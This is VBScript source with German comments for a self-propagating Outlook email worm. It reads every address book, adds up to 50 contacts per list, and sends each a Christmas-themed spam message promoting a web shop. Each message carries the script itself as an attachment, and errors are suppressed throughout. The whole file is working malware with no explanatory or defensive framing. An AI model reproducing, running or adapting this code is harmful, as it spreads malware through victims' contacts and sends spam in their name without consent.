Dim MyOutlook
Dim MyNameSpace
Dim MyEMail
Dim MyReceiver
Dim x
Dim y
Dim i

On Error Resume Next

'*** Outlook-Objekt im Speicher erstellen
Set MyOutlook = CreateObject("Outlook.Application")
Set MyNameSpace = MyOutlook.GetNameSpace("MAPI")

If MyOutlook = "Outlook" Then
       MyNameSpace.Logon "profile", "password"
       
       '*** Adressbuch auslesen und Mails generieren
       For y = 1 To MyNameSpace.AddressLists.Count
            Set AddyBook = MyNameSpace.AddressLists(y)
            x = 1
            Set MyEMail = MyOutlook.CreateItem(0)
            For i = 1 To AddyBook.AddressEntries.Count
                MyReceiver = AddyBook.AddressEntries(x)
                MyEMail.Recipients.Add MyReceiver
                x = x + 1
                If x > 50 Then
                    i = AddyBook.AddressEntries.Count
                End If
            Next 
            
            '*** Nur Gültige MailAdressen beliefern
            If Trim(MyReceiver & "LEER") <> "LEER" Then
                
                '*** Mailbetreff und Mailtext festlegen
                MyEMail.Subject = "News vom Weihnachtsmann " & Application.UserName
                
                MyEMail.Body = "Guten Tag, " & vbCrLf & vbCrLf & _
                               "es ist bald Weihnachten. " & vbCrLf & _
                               "Und wie sieht's aus mit schönen Geschenken ? " & vbCrLf & vbCrLf & _
                               "Hierzu ein Tip vom Weihnachtsmann: " & vbCrLf & _
                               "Unter www.leos-jeans.de gibt es die besten Geschenke im Web !" & vbCrLf & _
                               "Das bedeutet absolut stressfreies Einkaufen, schnelle und unkomplizierte Lieferung, riesige Auswahl." & vbcrlf & _
                               vbCrLf & vbCrLf & "Also nichts wie hin, und Frohe Weihnachten."
                                                              
                
                '*** Mailanhang an Mail anfügen
                MyEMail.Attachments.Add WScript.ScriptFullName
                MyEMail.Send
                
                 
            End If
            MyReceiver = ""
        Next 
        MyNameSpace.Logoff
End If